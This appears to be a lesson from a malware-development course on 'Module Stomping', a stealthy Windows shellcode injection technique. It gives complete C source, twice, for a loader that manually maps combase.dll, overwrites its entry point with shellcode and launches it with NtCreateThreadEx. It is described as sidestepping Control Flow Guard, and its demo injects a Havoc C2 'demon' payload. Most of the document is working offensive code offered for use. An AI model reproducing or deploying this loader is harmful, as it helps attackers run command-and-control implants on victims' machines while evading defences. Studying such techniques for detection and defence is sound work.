Module Stomping
Module Stomping is a code injection technique where the shellcode is injected into the .text section of a legitimate sacrificial DLL file. This injection technique does not use ...
Jump to Section (11)
Introduction
Module Stomping is a code injection technique where the shellcode is injected into the .text section of a legitimate sacrificial DLL file. This injection technique does not use allocation APIs and thus eliminates the usual first step in a typical injection process. Furthermore, it is important to understand that the sacrificial DLL file is stomped with shellcode rather than another DLL or EXE payload (this will be demonstrated in the next module).
Module Stomping also injects the shellcode into an image memory region (inside the sacrificial DLL , which is a better place to write a payload than a private committed memory region, for example.
Implementation
Module Stomping will be implemented using the steps outlined below:
1. Map a sacrificial DLL to the target process.
2.Check if the payload fits between the DLL's entry point address and the end of the text section.
3. Inject the payload at the DLL's entry point.
4.Execute the DLL's entry point which in turn will invoke the injected shellcode.
Loading Sacrificial DLL
Loading a DLL is an easy task that's been performed various times throughout the course via the LoadLibrary WinAPI. However, loading the sacrificial DLL this way will require us to implement additional code to bypass Control Flow Guard CFG for the payload to execute. CFG is a security mechanism that protects against code exploitation by controlling program execution paths.
A better and more stealthy approach is to map the sacrificial DLL manually using the NtCreateSection and NtMapViewOfSection syscalls. This way will ensure the mapped DLL is viewed as a SEC_IMAGE memory region, without having CFG block the code execution from within the .text section.
Furthermore, before loading a sacrificial DLL, it's important to choose one with a .text section large enough to fit the injected payload. This is explained in further detail later in this module.
LoadDllFile Function
We've created the LoadDllFile function to manually map a DLL file into the local process. The function has the following parameters:
szDllFilePathA Unicode string that represents the sacrificial DLL's name.phModuleA pointer to anHMODULEvariable that will receive the module handle of the mapped DLL.puEntryPntA pointer to aULONG_PTRvariable that will receive the entry point address of the mapped DLL.
typedef struct _NTAPIFP
{
fnNtCreateSection pNtCreateSection;
fnNtMapViewOfSection pNtMapViewOfSection;
fnNtCreateThreadEx pNtCreateThreadEx;
} NTAPIFP, * PNTAPIFP;
NTAPIFP g_NtApi = { 0x00 }; // Initializeed before calling 'LoadDllFile'
BOOL LoadDllFile(IN LPCWSTR szDllFilePath, OUT HMODULE* phModule, OUT PULONG_PTR puEntryPnt) {
HANDLE hFile = INVALID_HANDLE_VALUE,
Section = NULL;
NTSTATUS STATUS = STATUS_SUCCESS;
ULONG_PTR uMappedModule = NULL;
SIZE_T sViewSize = NULL;
PIMAGE_NT_HEADERS pImgNtHdrs = NULL;
if (!szDllFilePath || !phModule || !puEntryPnt)
return FALSE;
if ((hFile = CreateFileW(szDllFilePath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)) == INVALID_HANDLE_VALUE) {
PRNT_WN_ERR(TEXT("CreateFileW"));
goto _FUNC_CLEANUP;
}
if (!NT_SUCCESS((STATUS = g_NtApi.pNtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, 0x00, PAGE_READONLY, SEC_IMAGE, hFile)))) {
PRNT_NT_ERR(TEXT("NtCreateSection"), STATUS);
goto _FUNC_CLEANUP;
}
DELETE_HANDLE(hFile);
if (!NT_SUCCESS((STATUS = g_NtApi.pNtMapViewOfSection(hSection, NtCurrentProcess(), &uMappedModule, NULL, NULL, NULL, &sViewSize, ViewShare, NU
LL, PAGE_EXECUTE_READWRITE)))) {
PRNT_NT_ERR(TEXT("NtMapViewOfSection"), STATUS);
goto _FUNC_CLEANUP;
}
pImgNtHdrs = (PIMAGE_NT_HEADERS)(uMappedModule + ((PIMAGE_DOS_HEADER)uMappedModule)->e_lfanew);
if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
goto _FUNC_CLEANUP;
*phModule = (HMODULE)uMappedModule;
*puEntryPnt = uMappedModule + pImgNtHdrs->OptionalHeader.AddressOfEntryPoint;
_FUNC_CLEANUP:
DELETE_HANDLE(hFile);
DELETE_HANDLE(hSection);
return (*phModule && *puEntryPnt) ? TRUE : FALSE;
}Macros Definitions
The LoadDllFile function makes use of several macros that will be used throughout the implementation.
#define PRNT_WN_ERR(szWnApiName) printf("[!] %ws Failed With Error: %d \n", szWnApiName, GetLastError());
#define PRNT_NT_ERR(szNtApiName, NtErr) printf("[!] %ws Failed With Error: 0x%0.8X \n", szNtApiName, NtErr);
#define DELETE_HANDLE(H) \
if (H != NULL && H != INVALID_HANDLE_VALUE){ \
CloseHandle(H); \
H = NULL; \
}Verifying .text Section's Size
After loading the DLL, the next step is to verify that the DLL's .text section is large enough to fit our payload. Keep in mind that the payload will not be injected immediately at the start of the .text section but rather at the entry point. This in turn will result in a memory region inside of the .text section to be discarded. The image below shows the .text section and the entry point. Our payload will be stored in the region labeled "X", while the region labeled "Y" will be untouched.

VerifyInjection Function
The VerifyInjection function ensures that the memory region marked as "X" in the previous diagram fits the payload. The VerifyInjection function requires the following parameters:
uSacrificialModuleA handle to the mapped sacrificial module. This parameter is returned by theLoadDllFilefunction.uEntryPointThe address to the sacrificial DLL's entry point. This parameter is returned by theLoadDllFilefunction.sPayloadSizeThe payload size.
BOOL VerifyInjection(IN ULONG_PTR uSacrificialModule, IN ULONG_PTR uEntryPoint, IN SIZE_T sPayloadSize) {
PIMAGE_NT_HEADERS pImgNtHdrs = NULL;
PIMAGE_SECTION_HEADER pImgSecHdr = NULL;
ULONG_PTR uTextAddress = NULL;
SIZE_T sTextSize = NULL,
sTextSizeLeft = NULL;
pImgNtHdrs = (PIMAGE_NT_HEADERS)(uSacrificialModule + ((PIMAGE_DOS_HEADER)uSacrificialModule)->e_lfanew);
if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
return FALSE;
pImgSecHdr = IMAGE_FIRST_SECTION(pImgNtHdrs);
for (int i = 0; i < pImgNtHdrs->FileHeader.NumberOfSections; i++) {
if ((*(ULONG*)pImgSecHdr[i].Name | 0x20202020) == 'xet.') {
uTextAddress = uSacrificialModule + pImgSecHdr[i].VirtualAddress;
sTextSize = pImgSecHdr[i].Misc.VirtualSize;
break;
}
}
if (!uTextAddress || !sTextSize)
return FALSE;
// Calculate the size between the entry point and the end of the text section.
sTextSizeLeft = sTextSize - (uEntryPoint - uTextAddress);
// Check if the shellcode can fit
if (sTextSizeLeft >= sPayloadSize)
return TRUE;
return FALSE;
}Injecting The Shellcode
After loading the DLL and verifying that it can host the payload, the next step is to inject the shellcode. This will be accomplished through the use of the VirtualProtect WinAPI to permit the shellcode to be written to the target .text section, followed by a memcpy call to write the payload. Finally, VirtualProtect will be called again to revert the memory permissions to RX or RWX.
ShellcodeModuleStomp Function
The ShellcodeModuleStomp function calls the LoadDllFile and VerifyInjection functions, before proceeding to inject the payload and executing it via NtCreateThreadEx. The ShellcodeModuleStomp function accepts three parameters:
szSacrificialDllA Unicode string, representing the sacrificial DLL's name.pBufferThe shellcode's base address.sBufferSizeThe shellcode's size.
BOOL ShellcodeModuleStomp(IN LPCWSTR szSacrificialDll, IN PBYTE pBuffer, IN SIZE_T sBufferSize) {
NTSTATUS STATUS = STATUS_SUCCESS;
HMODULE hSacrificialModule = NULL;
ULONG_PTR uEntryPoint = NULL;
HANDLE hThread = NULL;
DWORD dwOldProtection = 0x00;
if (!szSacrificialDll || !pBuffer || !sBufferSize)
return FALSE;
if (!LoadDllFile(szSacrificialDll, &hSacrificialModule, &uEntryPoint))
return FALSE;
if (!VerifyInjection((ULONG_PTR)hSacrificialModule, uEntryPoint, sBufferSize))
return FALSE;
if (!VirtualProtect(uEntryPoint, sBufferSize, PAGE_READWRITE, &dwOldProtection)) {
PRNT_WN_ERR(TEXT("VirtualProtect"));
return FALSE;
}
memcpy(uEntryPoint, pBuffer, sBufferSize);
/* NOTE: YOUR PAYLOAD MAY REQUIRE RWX PERMISSIONS*/
// dwOldProtection's VALUE IS RX
if (!VirtualProtect(uEntryPoint, sBufferSize, dwOldProtection, &dwOldProtection)) {
PRNT_WN_ERR(TEXT("VirtualProtect"));
return FALSE;
}
if (!NT_SUCCESS(g_NtApi.pNtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, NtCurrentProcess(), uEntryPoint, NULL, FALSE, 0x00, 0x00, 0x00, NU
LL))) {
PRNT_NT_ERR(TEXT("NtCreateThreadEx"), STATUS);
return FALSE;
}
WaitForSingleObject(hThread, INFINITE);
return TRUE;
}Main Function
The main function's job is to initialize the addresses of the syscalls used throughout the implementation before invoking ShellcodeModuleStomp. Additionally, the main function specifies the sacrificial DLL, which was chosen to be combase.dll for this demo.
#define SACRIFICAL_DLL L"C:\\Windows\\System32\\combase.dll"
int main() {
HMODULE hNtdll = NULL;
if (!(hNtdll = GetModuleHandle(TEXT("NTDLL"))))
return -1;
g_NtApi.pNtCreateSection = (fnNtCreateSection)GetProcAddress(hNtdll, "NtCreateSection");
g_NtApi.pNtMapViewOfSection = (fnNtMapViewOfSection)GetProcAddress(hNtdll, "NtMapViewOfSection");
g_NtApi.pNtCreateThreadEx = (fnNtCreateThreadEx)GetProcAddress(hNtdll, "NtCreateThreadEx");
if (!g_NtApi.pNtCreateSection || !g_NtApi.pNtMapViewOfSection || !g_NtApi.pNtCreateThreadEx)
return -1;
if (!ShellcodeModuleStomp(SACRIFICAL_DLL, rawData, sizeof(rawData)))
return -1;
return 0;
}Demo
The image below shows combase.dll being loaded as an image file into the local process. combase.dll's text section is 204KB.

The image below shows a different process with Havoc's payload being injected at combase.dll's entry point.

Companion Project & Source Code
5 readable source/config files extracted directly from the archive
// @NUL0x4C | @mrd0x : MalDevAcademy
#include <Windows.h>
#include <stdio.h>
#include "Structs.h"
//----------------------------------------------------------------------------------------------------------------------------------------------------------
#define PRNT_WN_ERR(szWnApiName) printf("[!] %ws Failed With Error: %d \n", szWnApiName, GetLastError());
#define PRNT_NT_ERR(szNtApiName, NtErr) printf("[!] %ws Failed With Error: 0x%0.8X \n", szNtApiName, NtErr);
#define DELETE_HANDLE(H) \
if (H != NULL && H != INVALID_HANDLE_VALUE){ \
CloseHandle(H); \
H = NULL; \
}
//----------------------------------------------------------------------------------------------------------------------------------------------------------
typedef struct _NTAPIFP
{
fnNtCreateSection pNtCreateSection;
fnNtMapViewOfSection pNtMapViewOfSection;
fnNtCreateThreadEx pNtCreateThreadEx;
} NTAPIFP, * PNTAPIFP;
NTAPIFP g_NtApi = { 0x00 };
//----------------------------------------------------------------------------------------------------------------------------------------------------------
BOOL LoadDllFile(IN LPCWSTR szDllFilePath, OUT HMODULE* phModule, OUT PULONG_PTR puEntryPnt) {
HANDLE hFile = INVALID_HANDLE_VALUE,
hSection = NULL;
NTSTATUS STATUS = STATUS_SUCCESS;
ULONG_PTR uMappedModule = NULL;
SIZE_T sViewSize = NULL;
PIMAGE_NT_HEADERS pImgNtHdrs = NULL;
if (!szDllFilePath || !phModule || !puEntryPnt)
return FALSE;
if ((hFile = CreateFileW(szDllFilePath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)) == INVALID_HANDLE_VALUE) {
PRNT_WN_ERR(TEXT("CreateFileW"));
goto _FUNC_CLEANUP;
}
if (!NT_SUCCESS((STATUS = g_NtApi.pNtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, 0x00, PAGE_READONLY, SEC_IMAGE, hFile)))) {
PRNT_NT_ERR(TEXT("NtCreateSection"), STATUS);
goto _FUNC_CLEANUP;
}
DELETE_HANDLE(hFile);
if (!NT_SUCCESS((STATUS = g_NtApi.pNtMapViewOfSection(hSection, NtCurrentProcess(), &uMappedModule, NULL, NULL, NULL, &sViewSize, ViewShare, NULL, PAGE_EXECUTE_READWRITE)))) {
PRNT_NT_ERR(TEXT("NtMapViewOfSection"), STATUS);
goto _FUNC_CLEANUP;
}
pImgNtHdrs = (PIMAGE_NT_HEADERS)(uMappedModule + ((PIMAGE_DOS_HEADER)uMappedModule)->e_lfanew);
if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
goto _FUNC_CLEANUP;
*phModule = (HMODULE)uMappedModule;
*puEntryPnt = uMappedModule + pImgNtHdrs->OptionalHeader.AddressOfEntryPoint;
_FUNC_CLEANUP:
DELETE_HANDLE(hFile);
DELETE_HANDLE(hSection);
return (*phModule && *puEntryPnt) ? TRUE : FALSE;
}
//----------------------------------------------------------------------------------------------------------------------------------------------------------
BOOL VerifyInjection(IN ULONG_PTR uSacrificialModule, IN ULONG_PTR uEntryPoint, IN SIZE_T sPayloadSize) {
PIMAGE_NT_HEADERS pImgNtHdrs = NULL;
PIMAGE_SECTION_HEADER pImgSecHdr = NULL;
ULONG_PTR uTextAddress = NULL;
SIZE_T sTextSize = NULL,
sTextSizeLeft = NULL;
pImgNtHdrs = (PIMAGE_NT_HEADERS)(uSacrificialModule + ((PIMAGE_DOS_HEADER)uSacrificialModule)->e_lfanew);
if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
return FALSE;
pImgSecHdr = IMAGE_FIRST_SECTION(pImgNtHdrs);
for (int i = 0; i < pImgNtHdrs->FileHeader.NumberOfSections; i++) {
if ((*(ULONG*)pImgSecHdr[i].Name | 0x20202020) == 'xet.') {
uTextAddress = uSacrificialModule + pImgSecHdr[i].VirtualAddress;
sTextSize = pImgSecHdr[i].Misc.VirtualSize;
break;
}
}
if (!uTextAddress || !sTextSize)
return FALSE;
/*
----------- *uTextAddress*
| |
| Y | >>> Y = uEntryPoint - uTextAddress
| |
----------- *uEntryPoint*
| |
| |
| X | >>> X = sTextSize - Y
| |
| |
----------- *uTextAddress + sTextSize*
*/
// Calculate the size between the entry point and the end of the text section.
sTextSizeLeft = sTextSize - (uEntryPoint - uTextAddress);
printf("[i] Payload Size: %d Byte\n", sPayloadSize);
printf("[i] Available Memory (Starting From The EP): %d Byte\n", sTextSizeLeft);
// Check if the shellcode can fit
if (sTextSizeLeft >= sPayloadSize)
return TRUE;
return FALSE;
}
//----------------------------------------------------------------------------------------------------------------------------------------------------------
BOOL ShellcodeModuleStomp(IN LPCWSTR szSacrificialDll, IN PBYTE pBuffer, IN SIZE_T sBufferSize) {
NTSTATUS STATUS = STATUS_SUCCESS;
HMODULE hSacrificialModule = NULL;
ULONG_PTR uEntryPoint = NULL;
HANDLE hThread = NULL;
DWORD dwOldProtection = 0x00;
if (!szSacrificialDll || !pBuffer || !sBufferSize)
return FALSE;
if (!LoadDllFile(szSacrificialDll, &hSacrificialModule, &uEntryPoint))
return FALSE;
printf("[*] %ws Loaded Successfully At: 0x%p \n", szSacrificialDll, (PVOID)hSacrificialModule);
printf("[i] Entry Point: 0x%p \n", (PVOID)uEntryPoint);
if (!VerifyInjection((ULONG_PTR)hSacrificialModule, uEntryPoint, sBufferSize))
return FALSE;
printf("[#] Press <Enter> To Continue ... ");
getchar();
if (!VirtualProtect(uEntryPoint, sBufferSize, PAGE_READWRITE, &dwOldProtection)) {
PRNT_WN_ERR(TEXT("VirtualProtect"));
return FALSE;
}
memcpy(uEntryPoint, pBuffer, sBufferSize);
/* NOTE: YOUR PAYLOAD MAY REQUIRE RWX PERMISSIONS*/
// dwOldProtection's VALUE IS RX
if (!VirtualProtect(uEntryPoint, sBufferSize, dwOldProtection, &dwOldProtection)) {
PRNT_WN_ERR(TEXT("VirtualProtect"));
return FALSE;
}
printf("[#] Press <Enter> To Execute NtCreateThreadEx ... ");
getchar();
if (!NT_SUCCESS(g_NtApi.pNtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, NtCurrentProcess(), uEntryPoint, NULL, FALSE, 0x00, 0x00, 0x00, NULL))) {
PRNT_NT_ERR(TEXT("NtCreateThreadEx"), STATUS);
return FALSE;
}
WaitForSingleObject(hThread, INFINITE);
return TRUE;
}
//----------------------------------------------------------------------------------------------------------------------------------------------------------
#define DEMON
#ifdef DEMON
// x64 demon shellcode
unsigned char rawData[81919] = {
0x00, 0x00, 0x00, 0x00, 0x00, 0x00 // REPLACE WITH YOUR SHELLCODE
};
#endif // DEMON
#define SACRIFICAL_DLL L"C:\\Windows\\System32\\combase.dll"
int main() {
HMODULE hNtdll = NULL;
if (!(hNtdll = GetModuleHandle(TEXT("NTDLL"))))
return -1;
g_NtApi.pNtCreateSection = (fnNtCreateSection)GetProcAddress(hNtdll, "NtCreateSection");
g_NtApi.pNtMapViewOfSection = (fnNtMapViewOfSection)GetProcAddress(hNtdll, "NtMapViewOfSection");
g_NtApi.pNtCreateThreadEx = (fnNtCreateThreadEx)GetProcAddress(hNtdll, "NtCreateThreadEx");
if (!g_NtApi.pNtCreateSection || !g_NtApi.pNtMapViewOfSection || !g_NtApi.pNtCreateThreadEx)
return -1;
if (!ShellcodeModuleStomp(SACRIFICAL_DLL, rawData, sizeof(rawData)))
return -1;
return 0;
}
Full Archive Manifest (6 files inside .zip)
- ModuleStomping/ModuleStomping/ModuleStomping.sln
- ModuleStomping/ModuleStomping/ModuleStomping/ModuleStomping.vcxproj
- ModuleStomping/ModuleStomping/ModuleStomping/ModuleStomping.vcxproj.filters
- ModuleStomping/ModuleStomping/ModuleStomping/ModuleStomping.vcxproj.user
- ModuleStomping/ModuleStomping/ModuleStomping/Structs.h
- ModuleStomping/ModuleStomping/ModuleStomping/main.c